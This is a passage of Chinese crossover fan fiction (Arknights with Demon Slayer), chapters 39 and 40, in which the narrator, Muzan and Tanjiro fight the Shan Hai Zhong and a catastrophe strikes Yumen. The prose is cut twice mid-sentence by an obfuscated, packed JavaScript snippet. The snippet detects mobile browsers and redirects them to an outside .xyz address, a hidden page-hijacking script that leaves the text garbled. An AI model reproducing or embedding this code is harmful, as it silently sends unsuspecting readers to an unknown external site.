“你这蟊贼,现在想跑可有些太晚啦。”技能石融进手中那柄历经年岁的锻造锤,锤身焕出金光,一时显现出真正的长柄巨型战锤模样,因林雨霞的法术散在地面的细沙此刻开始向我脚下聚集。战锤自下而上挥动,将睚的长刀一把弹开,有技能状态的攻击力强化,接下这招不再是困难。 睚仍是不屑一顾:“逃跑?对付尔等蝼蚁,还不需要逃,你们的命今天都会留在这里。” “是嘛,看看你有没有这个本事。” 我高举变换出的战锤,向着身形高大的睚砸去。 【时光震荡】,攻击间隔略微增大,攻击力+240%,攻击伴随范围溅射和继续的攻击强化,除了因为攻击范围小有手短的问题外,是个强度极高的决战技。在这种狭小的空间里,手短的毛病也被克服,我只要奔着面前的睚一直攻击就行。 毕竟这招也被称为—— “请你吃一格维什戴尔!” 39. 第 39 章 手短,但伤害高,还有范围溅射,所以佩佩的三技能【时光震荡】被戏称作“一格维什戴尔”。 电子斗蛐蛐的记忆不会错,普通状态的睚用这招足以轻松对付,说到底只要商城能使用,可以有技能的选择空间,就怎样都好打。 孟铁衣看得有些发愣,毕竟我拿着他的锻造锤打出这种招式。我没时间和他解释,反正他也早就把我当作和巨兽差不多的生物了,这个印象保留着也好,可以避免后续追问。 技能持续时间不短,睚躲闪着锤击后退,但仓库空间就这么点,她也无处可退。许是终于觉得不能再用寻常的态度应对,一瞬的眸光一凛后,她举起手中的长刀。 仓库内蔓延开一阵花香。 得益于移动城邦的核心技术,建立在移动地块上的城区内往往可以借助动力炉将城内温度维持在一个比较宜居的程度,所以即便是二三月的玉门,也并没有令人感到过于寒冷。可无论如何城内都不会给人春日般的暖意,而现在仓库内花香四溢,打斗的剧烈动作让人感觉衣下出了一层薄汗。 这无疑是睚那特殊的能力裁剪春秋,强大的空间系能力是她力量的来源,现在她举起刀,金光围绕在她身边,逐渐分出另一个与她长相一致的分身。分身悬在空中同样举起长刀,金色如粉尘般的能量瞬间爆开,裁剪春秋的法术能量在睚与她的分身挥下刀时伴随着有些熏人的花香一同冲击而来。 我举锤防御,【时光震荡】的技能时间偏偏在此时结束,一时间被法术冲击打了个措手不及,只能局促地竖起银白色的钙质防护层。金色的能量被防护层挡下不少,但从钙物质旁绕过的余波仍是擦着我的双臂而过,在我胳膊上留下几道血痕。 睚本人站在那里,她的分身则悬浮在半空,或许她们在刚才我没注意的时候互换过位置?我没办法判断了,如果这时她发起攻击的话,局势会很不乐观。 “凭借全力攻击逼我使出这招,你可以感到骄傲。”她提刀指过来,傲慢地俯视着技能结束后将铁锤丢在一边的我,随后便要继续上前攻击。 接下来该用什么技能?要防御的话,应该用重装干员的技能扛伤,还是直接用医疗干员的治疗技能?我打开商城正准备拿新的技能石,却有人比我更快一步,在我还没反应过来时,局面又发生了反转。 黑色的荆棘枝条飞速从四处刺破地面生出,争先恐后涌向睚和她的分身。分身终究是蜃景,在荆棘卷上的同时就消散成金色的粉末,而睚本人挥刀劈砍着黑色荆棘,那荆棘却有更甚之势。 是鬼舞辻无惨的血鬼术黑血枳棘,招式在这里了,那他本尊…… 谁都没有反应过来,花香却在某个时刻戛然而止。 睚的胸口多出一只沾满鲜血的手,那只手指尖青蓝色的指甲表明了它的主人,几滴血滴到地上,睚的脸上也浮出震惊。然后在有谁做些什么之前,血红色的裂纹从那个血洞开始向外延展,裂纹所及之处,皮肤变得苍白干枯,宛若其中的生命都被抽走。 睚的双眸中闪过片刻的惊诧,但她没有慌乱,只迅速转身挥刀斩断了那条洞穿自己躯体的手臂,刀尖的余劲在空中凭空划开一道缺口,透过那一点细小的缺口,能看见其后开满春花的山河。 光芒闪过,睚的身影已经消失不见,连同那个带有美景的空间,只有地上的血滴能证明她来过这里。 鬼舞辻无惨站在原本睚所站的位置,举起方才刺穿巨兽代理人的手,上面的鲜血缓慢被吸收干净,淡淡的红光萦绕在他那只手周围,随后也一同暗淡下去。 仓库内的山海众见睚已撤退,纷纷丢出烟雾弹,将身影藏匿在烟气中离开了铸剑坊。仓库内留下一片狼藉,但好在没有任何人员伤亡。 我看着无惨,沉默着不知该如何问他,希望他或许能主动开口讲述原因,但他只是看着自己的掌心平静地说:“名为源石技艺的能力吗,确实好用。” “你……做了什么?”听他提到源石技艺,我心中闪过不好的预感——说不好有些偏颇,但我现在的表情大概不算好看,虽然隐隐有了些想法,但我还是想从他口中听到确凿答案。 无惨终于斜睨向我,神色比寻常时更显冷漠,而在他又将目光放回手中,重复了几次握拳又张开的动作,像是确认了什么后,终于放下手走过来。 “想知道?”他轻勾唇角,似笑非笑地朝我伸手,“自己感受一下如何?” 我回想着他刺穿睚身躯的那一幕,看进他的眼中,伸手搭上他冰冷的手掌。突如其来的抽离感在我与他相触的一刻传遍整条手臂,不等我抽回手,他已经反手抓住了我,与刚才一样的血红色裂纹以一种疯狂的速度蔓延上来,巨大的痛苦席卷全身。我真的想问他这是什么原理,但此刻连声音都无法从咽喉中发出。 然后他松开了手,我因惯性而踉跄着后退两步,难以置信地看着自己几乎已经布满裂纹的手臂。表皮上的鲜红裂纹像是要滴出血来,但其实没有流一滴血,相比这可怖的样子,我也并未感到疼痛,倒不如说……我感觉不到这条胳膊了。 没有被裂纹覆盖的皮肤也变得无比苍白,小臂比我自己记忆中似乎小了一圈,像失了营养般,也无法控制手指任何一个关节。 “那些泰拉人虽然难吃得令我恶心,但他们血液中的源石成分也能为我所用,就这点而言,挺不错的。”无惨现在看上去很兴奋,红瞳中的瞳孔紧紧盯住我,即便我有一瞬张口欲表达反对,他也只是无视了我的表情,继续说下去,“时隔这么久,我倒是重新感到强大力量带来的些许欢愉了,只要从他们的血肉中提取出那些源石的成分,这种小石头的能量就可以转化成为我的——源石技艺,是叫这个对吧?” 我看了看自己的手,又看了看他,在说话前先展开了【钙质化】技能。这只手的状况并非不可逆转,尽管恢复缓慢,但裂纹在消失,我对其的控制感也慢慢回归;身后的孟铁衣身上还有些伤,正好顺手帮他治了。“你什么时候学会的……不对,所以那个时候你对那个山海众……”脑中浮现起当时的场景,我突然又开始思考一个问题:他是怎么想到要这么做的? 鬼舞辻无惨就这么看着我,突然笑了笑,像是对我的反应感到满意,问我:“猜的不错,那再来说说看,这种‘源石技艺’是什么效果?” 手臂延迟传来发麻的感觉,有些像是生长痛的感觉,叫我忍不住来回转动手臂,又用力甩了甩手。“吸取生命力吗,我刚才感觉不到这只手了,如果你没放手的话,我半边身体大概都要遭殃?”他倒是不会在这里杀我,这我能确信,方才也只是做了个试验,顺便让我亲身体会一下他新获取的力量。 算是恐吓吗,我突然无厘头地想,他现在可以更轻松地取走我的性命了,只要他想,轻轻的触碰便能让我毫无招架之力地成为他的食粮。 “我记得泰拉的血魔也有类似巫术,如果这是你第一次用的话,说明你的源石技艺适应性很好。”我顺着逻辑做了推断,下意识看向他,我从他眼中看见自己的倒影。 我也在笑。 其实这在设定逻辑上说不通,毕竟地球人还是跟泰拉人不同,后者的身体本就更容易与源石结合,而前者哪怕用源石刺破皮肤也不会感染矿石病。但鬼本身也不是人类,如果一定要解释的话,大约鬼也介于普通人类和泰拉人之间。 鬼舞辻无惨现在心情不错,看他笑就是让人忍不住也想跟着嘴角上扬。 那么漂亮的脸,笑起来也比所有人都好看。 不过话说,他找睚的麻烦做什么? 我想不通这一点,他从一开始就看不上山海众,只是因为对那种组织毫无兴趣,但他刚才可是差点就把一位巨兽代理人杀死了。他那个汲取生命力的源石技艺用在睚身上,目的是什么都不用猜,他突然做这事,总不能是对巨兽的体质动了心思。 “白夜小姐,您没事吧?”灶门炭治郎在山海众逃走时拼尽全力拉住了一人的领子,并顺利近身绞住那人,在配合林雨霞把那人捆好等待交送巡防营后,他走来这边询问情况,“还有无惨,你刚才在做什么?” “你该不会想说,即便那是恶人,也不能随随便便杀了她吧。”无惨一副无所谓的样子,而被他说中心里话的炭治郎抿唇瞪着他,像是无声的抗议。 我心说灭火要尽快,开口先问了无惨:“巨兽确实是强大又长生的生物,人形算是祂们的代理人形态,一般也没那么容易被杀死。无惨,你想吃掉那个巨兽?” 这话说出来的语气接近陈述句,而对方不反对的态度表示他确实想这么做。 炭治郎只咬牙小声道了句:“你还是没有放弃通过各种手段克服阳光……” “泰拉人对巨兽的研究尚少,泰拉的阳光也和地球不一样,吃一个巨兽能否达到目的实在没保障啊。” 提到了他的目标,鬼舞辻无惨表现出了些许不悦。睚到底是用那空间系的能力在眨眼间离开了现场,而无惨本身再怎样强大也没有那方面的法术,属于是机制上被克制了。我只能尝试从这个角度给他点安慰,尽管他也没那么需要安慰,话说回来我又想起来了似乎是最关键的一点。 “没记错的话剧情里写过睚伤痕许久难愈,也大限将至,所以才急着出来,受过伤又寿命相对没那么久的巨兽,你大概不会想要了。” 而且睚后续可能还有剧情,我回忆了一下《登临意》的尾声部分,补充了这点,后续剧情尚且未可知,总归还是需要忌惮一下蝴蝶效应。 由于无惨方才使用的源石技艺太过诡谲,即便只有孟铁衣瞥见一点,为了避免麻烦,我还是让他先行离开铸剑坊了。而为了应对必要的事后盘问,我还是拉着炭治郎留下来一起等善后。林雨霞将怀疑的目光放在无惨的背影上许久,最终决定睁一只眼闭一只眼,不追究他的来历。 灶门炭治郎帮忙将倒下的货架扶起来,简单学了一下便拿着工具上手给货架做加固和调整,期间他偶尔停下来思索着什么,在我过来扫地上的沙土时叫住了我。“白夜小姐,您刚才对鬼舞辻无惨说的那些话,也是因为……喜欢他,所以才觉得他杀死那名女性这件事本身不要紧吗?”他的话大概是在心里措辞过一番,问出来挺有针对性的。 我告诉他无惨动手的那个瞬间我确实也没注意到,更没来得及阻止他,如果可以的话,我没想发生这种事情。 “真的吃掉睚对他自己也不是很好,而且可能影响这个世界后续的发展。”我把说过的话又说了一遍,尽量用了些更通俗易懂的词语。 “我是说,那个‘巨兽’也是有生命的‘人’,即便做过恶事,也不该就这样杀死她。” “她原本在这片土地上和其他巨兽一起生活了千百年,她只是觉得人类通过诡计战胜了祂们、霸占了祂们的乐土,也始终只把人类当作蝼蚁。她愤怒又悲伤,只想在大限来临之前了却一些心事。我承认无惨自己的想法有些危险了,不过对这里的很多人来说,到底是人兽有别,人类早已围猎过巨兽,无关对错,只是战争。”我将扫帚靠着货架放在一边,看看另一边注意到沙石法术赶来、正在和林雨霞互损的陈晖洁,又看回从语言中体会出些许情感的炭治郎,“哦,那些山海众确实是挺滑稽的,明明也不过是人类,却喊着什么‘山海八荒尽归其主’,把人类叫成大地的窃贼。背叛自己族群的人无论什么时候都是该杀的,关于这点我是激进派的,抱歉啦。” 深红色的眸中映出我有些奚落的笑,我顺便也告诉了他山海众里有多人是背着官司或通缉的流寇匪徒,还有为祸一方的恶霸,为了躲避官军追捕才加入的这个组织,让他不要太有心理负担。“你不用担心那些人,他们也都是亡命之徒,对他们太仁慈反而会害了自己。” 他像是想起了什么往事,苦涩地笑了笑。 我趁热打铁提起了初到玉门时他问我的那个问题:“如果评判万事都能用善恶正邪来下定论就好了,但看到最后,其实全是立场;这个世界有的人想为自己的族群争一片不受压迫远离战火的未来,有的人想通过极端的方式将文明延续,有的人只是活着就已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679171|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经竭尽全力。我可以直接告诉你,灶门,没有鬼的世界不会更好,没有源石的世界亦是如此,二者都没有也不会创造出所有人都幸福的太平盛世。” 灶门炭治郎想必是早就得出了这个答案,只是经由我口中说出,这个答案又一次得到了确认。他低下头难掩不甘,我决定留给他一些时间,不去打扰他。在此期间林雨霞走过来告诉我们可以先行离开,之后的事她会妥善处理,我谢过她之后叫了炭治郎向铸剑坊外走。 “我问你呀。”跨出铸剑坊的院门,我喊住脸色比刚才好些的炭治郎,“苦难是永恒盘踞在大地上的阴霾,有人会说:世事如此,不必大惊小怪。如果回去以后你成功杀死了你那边的鬼舞辻无惨,你会打算做什么?” “呃,直接这么说真的不要紧吗……” “他的死亡是不可避免的剧情发展,我不乐意也没法改变,就只能接受咯。而且也只是一条世界线,说不定有哪个平行世界他也把鬼杀队都杀完了呢。” 对一个太过实诚的孩子开这种玩笑好像是有些过分了,炭治郎听到这话的后半句后似乎真的开始思考那样的发展可能,我赶忙叫停他的联想,把话题扯了回去。 他认真思索了一番后严肃地看过来——大概是他这么多天第一次用这副表情看我,然后说:“我不能认同。那句‘世事如此,不必大惊小怪’,我不能认同就这样接受和放弃,没有人的生命是该被轻视的,如果回去以后能消灭所有的鬼,在那之后若还有人遭受着同样的痛苦,那我希望自己能帮到他们。” 恶鬼灭杀,是鬼杀队经常刻在刀上的一句话。 但有形的鬼好杀,无形的鬼更恶。消灭了实体的生物,要面对的就是人心中埋藏的恶念,毫无疑问他会见到那个把人变成鬼的时代,作品后续也没提及那些,但既然能和他面对面交流,那我也仍是希望铺出一条尽可能向着光走的路。 唉,我到底是没办法讨厌这个孩子。 “很有志向嘛,说不定你和这个世界的一家医药公司很合得来哦,我说,要不你就留在这里,我把你介绍给他们如何?工资待遇可好了,领导人也好,还会在嘴里泡速食面饼呢。”我拔高几分音调,想让气氛稍微不那么沉重,招呼他向街口走。 来自大正时代的灶门炭治郎暂时理解不了泡面这种食品,但听见有人能在嘴里倒沸腾的开水时还是不由得露出了……佩服的眼神。 但他还是认真拒绝了这个提议:“我还是要回去的,祢豆子还在等我,还有大家,我必须要回去杀死鬼舞辻无惨。” “那就买个纪念品吧,小点的挂件应该还是可以随身带回去的。”本来也只是玩笑性质的提议,把地球人类放在泰拉未免太过残忍,我不会真的那么做的。正巧路过一个卖旅游纪念品的摊子,大件的兵器模型不方便携带还容易被系统制裁,半指大的绿松石挂坠倒是正好。 “太、太贵重了吧,白夜小姐,太给您添麻烦了。”他摇着头想回绝,被我以不收就不带他走的威胁堵了回去。 得益于那份提前送去的天灾数据,玉门有了更多的时间准备应急避险。玉门城邦无法拆分重组,撤出天灾范围仍是来不及,但至少可以尽量远离天灾的核心爆发区,其他的便仍是准备硬挺过天灾的爆发期。 玉门城的天灾防卫设施齐全,除却城墙上防风防沙用的屏风卫,内城的源石净化装置可吸附天灾尘暴中的源石浮尘,保证天灾时还在户外活动的人不至于吸入粉尘感染。抵御外围的尘暴冲击是钦天监术师们的工作,不懂术师列阵的人插手也只会帮倒忙,尽管遗憾不能看见那壮观场面,但城内也有重要的事要做。 “天灾时山海众会在城内四处行动企图破坏避险设施和城门口的沙渠,睚那边会有人处理的,天灾结束后这段剧情就结束了,系统看着也活了,应该很快就能走了。”城内居民和游客都在巡防营士兵的引导下向城西的避难点撤离,我将所有房费交给客栈掌柜后退了房,在掌柜询问我是否要跟他们一同去避难时摆了摆手,随后转头看向鬼舞辻无惨,“现在没什么特别要做的事了,你如果不想多管闲事的话,我们也可以什么都不做。” “无所谓,但要我出手的话,我可不想花心思顾着留那些人的命。”大约是弄出了源石技艺的使用方法,而可操控的源石法术又要靠吃人,他看上去比之前有了些动力,应该也是想补充更多能量。 我看向灶门炭治郎,他说他不能放任恶徒破坏避难设施。我点点头,顺口提醒了一下无惨:“巡防营和武行的侠士们逮捕山海众要留活口,别吃太多了,也别被他们看见。” 似是不满我叮嘱般的语气,红眸倏地瞪过来,伴随着一句冷淡的“不用你多说”,他先一步向客栈外走了。我同他讲过避难设施大多都在城西,山海众的活动范围也就以那一片为主,他应该也是向着那边去了。 “分头行动吧,你拿着我的终端,遇到听不懂的就让他们翻译给你。”我看了眼出门后望着天边黑云面露忧色的炭治郎,让他不要担心,“我会去看着无惨让他别太过火的,别担心。” 远处响起炸雷声,呼啸的狂风裹着砂石,铺天盖地地向城区卷来。空气中混了沙土的气味,黑云眨眼间便从城外飘到城头上,天色骤然暗下来,炸雷声越发震耳欲聋,但仔细听才发现,这其实是无数沙砾在风中摩擦的声音。 玉门的四座屏风卫展开,但沙还是一个劲地往里灌。 不知有谁在城墙上挥下墨笔,方才肆虐的风沙仿佛瞬间变成了柔和的水流,大量的源石粉尘与沙石都被拦在城外。眼前始终黄黄的,身上不一会就积了一层薄灰。城墙上的人是谁一目了然,岁兽代理人之一的令,剧情中就是她挡下了天灾八成的冲击,这般力量自然也只有巨兽能做到。 令在游戏内就是一人成军的召唤师定位,游戏内创下数个单人通关记录,等之后离开了泰拉,高低得用一次那个技能。 至于现在…… 我也看向翻滚的乌云。 “面对天灾,我们并非无计可施。” 40. 第 40 章 转移到城东的屏风卫和术师阵法打开了一面肉眼可见的屏障,将大量风沙隔绝在城外。即便如此,内城空气中仍是宛若泛着土黄色,强烈的风力也时常推得人不住向前迈步。 我提着一个山海众的兜帽将那人拖到站岗的巡防营士兵跟前,想站住却被风吹得向侧边踉跄一下,尽显丑态后又装作无事发生将这企图在沙渠附近放置炸药的不法之徒交给他们。天灾时城内众多山海众与他们发掘的歹人都鱼贯而出,要么抢夺巡防营的军备,要么破坏天灾避难设施。 最胆大包天的就属这些来沙渠附近实施破坏行动的山海众。沙渠是玉门城邦运行最重要的核心部件之一,终日在黄沙上行进的玉门离不开这套同时具有排沙和推进作用的装置,在这种尘暴型天灾时更是把那些比往日多好几倍的黄沙全部排出,防止沙子损坏城邦动力系统。沙渠就这样转动着,吐着成吨的沙,同样明白这一点的山海众也就这么来了。 “你小子真坏,想破坏沙渠,哪怕自己不活了也要拉着玉门陪葬吗?”我用「八房」的刀柄重击差一秒就要点燃火药的山海众,再把这个也交给巡防营士兵。到如此关键时刻,武行的江湖人士也看不下去山海众在城内大肆破坏,干脆从避难设施中出来,与官军一同追捕各处的贼人。这样一个官民同心,将破坏的程度迅速控制在最小,余下的山海众纷纷逃出城去。 还有一人对现状不是很爽。 鬼舞辻无惨在不知几次见我将山海众拖走交给巡防营后有些耐不住了,目光始终放在我手中的山海众身上,在我将其交给官军后烦躁的目光停留在我背上许久,最终挪开。盯得我耸耸肩,转头看去只见他把玩着手中提取凝聚的源石物质,似乎突然明白他为何不爽了。 回去找他之前我顺便收了一下山海众没用的火药,这里的炸药材质都含有源石,威力比地球现实世界大太多了,我心说先收着总归有用的。 是的,玩游戏喜欢捡垃圾的人就是这样的。 “我们换个地方吧?”我露出两排牙,讪笑着装模做样地问他,“沙渠这边肯定有玉门士兵,我们去远点的地方找那些流窜在小路里的山海众,肯定能让你吃上。” “无所谓,又不是必需的进食。”话是这么说的,但他大概还是想吸取更多泰拉人体内的源石成分吧,因为他已经先一步转身走了。 也真是难为他了,新得到的技能必须吃掉难吃的食物才能增强。 若是寻常,山海众潜入人群中还不好分辨,但这会普通人都去避难了,街上除了维持秩序的士兵和江湖人士,剩下那些鬼鬼祟祟的就是山海众。虽然剧情中没有给笔墨描写,但游戏关卡中既然出现了,就果然会发生在剧情视角的“镜头”没有“拍到”的地方。 就比如眼前这台越长尘。 作为玉门的防卫工事设备之一,这台外形与越野车极相似的载具设计初衷自然是为了在沙漠中正常行进并快速运兵,必要时也能成为重武器,因此数值上防御和攻击都不低。敌方档案的记录说山海众在天灾时窃取劫持了这台运兵车,现在是被我们撞上了。 但要说的话,这玩意在游戏内难对付是因为《明日方舟》是个塔防游戏,大部分角色可阻挡敌人上限不超过3人的前提下,这台越长尘需要挡4干员才能阻挡,而阻挡后能否长时间扛伤并顺利消灭又是新的问题,电子斗蛐蛐自然也是让许多强力角色遗憾落败。至于现在,怎么说也得遵守大部分现实逻辑,而现实中想让交通载具快速失去行动能力的话只需一步—— 鬼舞辻无惨足尖点地跃起,落在越长车的前盖上,硬生生将坚硬的前盖踩得凹下去一块。但这样并没有逼停载具,疯狂的山海众用力转动方向盘,试图通过左右摇摆将站在前盖上的无惨甩下去,不过本人只是纹丝不动地站着,冷眼俯视着咬牙切齿的山海众。 随后带有骨刺的管鞭从他背后窜出,钉在越长尘的前挡风玻璃上,许是没料到这辆车的防御性能有这么高,骨刺只钉入玻璃的一半便卡住了。他不悦地皱眉,另外三根带着骨刺的管鞭也一齐刺出,集中刺向同一点,这样的架势下前挡风玻璃终于是彻底粉碎,管鞭也顺势飞速向前刺入驾驶位上山海众的胸膛。 对,只需要干掉司机,就什么都解决了。 说起来无惨那么做都没能让车停下,原来他的可阻挡上限也没到4人…… “你在发什么呆?”解决掉一车面包人,不是,解决掉车上几个山海众的鬼舞辻无惨已经站在我面前了,而我刚才沉浸在“如果无惨是干员会是什么设计”的思考中完全没注意到他。 大脑还没有调转回来,我下意识把原话说了出来:“在想你是超大杯。” “哈?” “呃不,没什么,意思是觉得你很厉害。”我摇头尴尬地笑笑,心说还是不要把某种兔头思维用在他身上了,走向那辆前挡风玻璃碎裂的越长尘,“还需要继续找人吗?” 他蹙眉盯着我,大约是在思考那句“超大杯”是否真如我解释的那样,过了一会才说暂时不需要了。“车上四个人里有一个身上的石头都快长满胳膊了,算是感染情况很深吗?托他的福倒是得到了比预想更多也更纯净的能量。”他说着张开手,掌心上悬浮着源石结晶般的矿物质。 我不禁感慨他实在强得恐怖,仅仅是阅读完《大地巡旅》中的文字档案和其他在线资料,就自行完成了对源石技艺的理解与学习,这已经不能用源石技艺适应性优良来评价了,完全是怪物的程度。我甚至不禁联想一些危险的可能性:若是让他拿到这个世界最初的源石“阿喃那”,或只是给他一点源石内化世界的权限,他会做到什么程度? 这种联想发散出去有些收不住边,但想来他对泰拉文明的兴趣并未到狂热,所以假设从根本上立不住脚。该说是那个接近现实地球的世界观约束了他吗,如果他是土生土长的泰拉人,这片大地大概又会多无数新的野史猜想了。 我就这样看着他,在他发问之前移开了视线,爬上越长尘的前盖钻进车里。该说不愧是军用载具,车辆的行驶性能几乎没受到任何影响,操作方式和地球上普通车辆差不多,小心点驾驶的话也能顺利开到目的地。 “那大概是常年游离在城外荒野的山海众,没有治病条件,还长期暴露在危险环境里,感染程度重是正常的。”所以这样的人血液与器官和源石结合度更高,小半个人已经完全源石化,也就是无惨口中的“更纯净”。 无惨在只吸取血液就能满足能量需求的情况下不愿吃掉几个山海众的肉,想来让他对着石头下嘴确实也强鬼所难,正好就拿来做「八房」的傀儡。 我从车内将车门打开:“天灾差不多也快结束了,把这辆车开去还给巡防营吧。”至于怎么修缮就是炎国工部监造司的任务了。 城内风沙渐小,翻滚的乌云逐渐散去,城内的空气净化装置仍在孜孜不倦地工作。巡防营接手了那辆越长尘,又谢过我和无惨,几个士兵迅速跑走去汇报情况,于是我干脆借机拉着无惨开溜了。 街面上不少地方都堆着黄沙,一些房屋东面受到天灾余波的冲击有所损坏,但归功于城墙防线的努力,这场天灾并未对玉门造成太大破坏。这座城百年来如此,经受住一次又一次考验,在天灾与战火中矗立不倒。 天灾前和灶门炭治郎定好了还在铸剑坊门口集合,也如期等到了他。这趟让他单独行动,回来时倒是终于在这个才十几岁的孩子脸上看见发自内心的笑容。 “遇到了一些很强的人,他们虽然不会呼吸法,但都很厉害。”他说自己正巧和几名玉门江湖人士一起行动,抓捕了几伙试图袭击集中避难所的山海众,“我还是听不太懂这边的语言,就算用您教我的那个‘翻译’也有些勉强,但他们都很照顾我,我能感觉到大家的善意。” 孟铁衣再次前往巡防营自首之前打开了铸剑坊另一间尘封已久的库房,从里面挑了一把半新的炎式长刀送给炭治郎。老铁匠说没什么好拿来感谢我们和赔礼道歉的,而我托他们打的东西也估计无法按期完成,干脆直接送我们这把刀,也就是炭治郎现在拿的这把——无论怎么说,还是比山海众的武器更精良些。 最后这段剧情倒是比想象中顺利,想来也是,这次事件中掺杂了从巨兽威胁到人心矛盾的各类复杂关系,只要一一捋清找到关键就很好处理,更别说玉门在重大问题的处理上向来周密,排除干扰因素后制定计划,就不会再有什么困难。而现在巡防营仍在忙着清点天灾中城区受损情况,审问抓捕的山海众,趁现在开溜是最好的。 “嗯,想法很好,那你打算怎么出城呢?”鬼舞辻无惨冷不防反问道。 我愣了愣,话卡在喉中一时说不出。我着实是没意识到这个问题:城门在天灾时就关闭了,这几天玉门一直是严禁出城的状态,守门的士兵也不会答应私自开城门放我们出去……难道我们也要跳沙渠出城吗?这种事情原剧情中只有一人在天灾前这么干过,而天灾过后沙渠仍在满功率运转以防再次发生紧急情况,现在跳进沙渠的人和那种粉碎机视频里丢进去的东西有什么区别! 但我还是把这个设想说了出来:“呃,沙渠……钙质化能做点保护……” “我是没意见,但你最好想想别的可行方案,不然这小子死了我可懒得再处理。”无惨指指炭治郎,又指指我,“当然,你自己想死我不拦着,但别是这么蠢的死法。” “你在担心我的安全吗?谢谢你。” “那我可以现在满足你一个心愿,猜猜是哪个?” 我心虚地缩缩脖子,抬手努力挡住些他带着怒意的视线,正想先用万能回答说两句自己在思考了马上给初步方案,就看见有人向我们这边走过来。 那实在是和常人太过不同的人,要说这不同在哪里,最显著的大约就是气质。外貌上看确实是个平易近人的成年男性形象,尽管他头上的双角和身后那条独特的尾巴还是很少从普通人身上看见,那双独特的眼睛最外面一圈是深色的,内里却又是也有着竖线般瞳仁的红色;再说气质,在他走近之前就远远看见他的身影,步履平稳,走起路来上身几乎静止不动,每一步都有力控制在同一间距,直直走过来未曾向其他地方看过一点。 来者不是别人,正是《明日方舟》游戏内在这次剧情的主角重岳,玉门宗师、岁兽十二代理人之首、足以代表“武”本身的这样一个人,现在走了过来。 他找到我们,是因为知道我们不是泰拉人了吗? 这并非胡乱猜测,重岳的意识终归有着岁兽的思维和感知,在天灾时应是前往了睚的那处空间里与之对话、对战,“为玉门讨个说法”,以自己同为巨兽代理人的身份,去处理那个玉门官方难以处理或不便处理的幕后黑手。 记得剧情里天灾结束后他就卸任宗师离开了玉门,临行前在玉门的街头转了转,现在也是一样,我很清楚他找到我们是有事相告,但他走来的样子表现得仍像是一次普通的游历。 我看着重岳走过来,决定率先向他打招呼:“重岳先生,久仰。” 他脸上挂着微笑,点点头,免去了自我介绍的部分,开门见山道:“诸位想必是不同寻常的客人,此次玉门相关事项有诸位相助,我在此也向诸位表示感谢。” “这个时候再说自己是罗德岛的人,好像不太能让重岳先生相信了吧。”我想都到现在了,也没必要再在这位面前扯谎,干脆也介绍了无惨和炭治郎,“如果说是‘客人’的话,大概对整个泰拉而言,我们都是客人,不过这点就不多说了,只是因为一些微不足道的原因来到玉门,您也看见了,我们对玉门乃至整个炎国都没有恶意。” 放眼全泰拉,我对大炎自然是比其他国度都更有亲切感和归属感,如果真遇到牵扯国别争斗的事件,我必然也会毫不犹豫偏向大炎,又怎么可能会有恶意。 说谎是骗不过入世阅人无数的重岳,换言之他也一眼就能知道别人是否在骗他。确认我们所言非虚后,他看向听不懂炎国话、此时又不好意思使用电子设备翻译的炭治郎,温和地笑了笑,开口问:“听武行的义士提起过你,在天灾时帮助他们的孩子,你是……东国人?或者是来自类似东国的地方?” 等…… 重岳为了照顾炭治郎,在询问时特地用了东国语,行遍炎国各处的宗师虽然没有真正去过他国,但炎国当然也有前来游历的各方志士,在这个过程中,他学会其他语言也不是什么值得意外的事。只是这个时候的善意在他的话语说出口的瞬间让我突然回想起了一个要命的问题。 “我……虽然不知道您指的是哪里,但确实是我能听懂的语言,我想大概如您所想的那样。”果不其然,炭治郎也在同时愣了愣,垂在身侧的双手攥紧一刻又不自然地松开,他在尽量不表现出异常的脸色。 鬼舞辻无惨原本是对巨兽这种生物有些兴趣的,但不巧的是重岳很早之前便为自己塑造了人类的躯体,所以从外表来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“之后我们不在泰拉,但你需要补充源石能量的时候可以用我的血。” 无惨似乎对这个回答并不满意,他后退半步双手抱臂,仿佛在说我给出的只是理所当然的一件事,不用我说他也早就这么打算。我双手悬在空中,发了几秒呆后放下,对旁边投来复杂目光的炭治郎摆摆手。 但是我想他分明就是差不多已经猜到了为什么会有人和自己的声音如此相似,现在关于这点发难的原因大概在别处,便放慢了语速边想边说下去:“就是一些非——常微不足道的小问题啦,其实我感觉你自己也想到原因了,所以我就不多解释了吧,总之我对你一片真心绝对没有移情别恋的意思如果有也只是暂时的我永远最喜欢你了你要相信……” 他打断了我:“不要说废话。” “我是有过代餐的想法啦但菀菀类卿的卿也是你。”他绝对是因为这点产生了多余的想法,或者只是单纯想敲打我一下,那作为一个长嘴会说话的人我就把直球打回去,“但是能一直和你本人在一起所以也不会这样了嘛,我深刻忏悔并反省了,现在轮到你来原谅我了。” “我还没问什么,你自己说了一大堆,还越来越会自作主张了。”无惨这么说着,却没有生气,喉间传出声轻笑,绕过我继续向前走,“油嘴滑舌还是少点好,下次别让我听这些没用的话。” 我还想苍白地为自己辩解两句,系统恰合时宜地弹出了提示音。 【已结算当前任务奖励】 【完成主线任务《登临意》,获得积分奖励100】 【完成相关支线任务,获得积分奖励30】 【玩家现有积分:590】 支线任务大概就是让本该被睚杀死的孟铁衣救下来了,盯着他去自首后就没再留意过那边的事,不过既然积分给到了,那就说明事态有朝着理想方向发展。我倒是有些意外,这系统卡死这么长时间还能结算《登临意》的积分奖励,包括无惨差点把睚杀了的时候,居然没有违规惩罚,真搞不懂系统规则是什么。 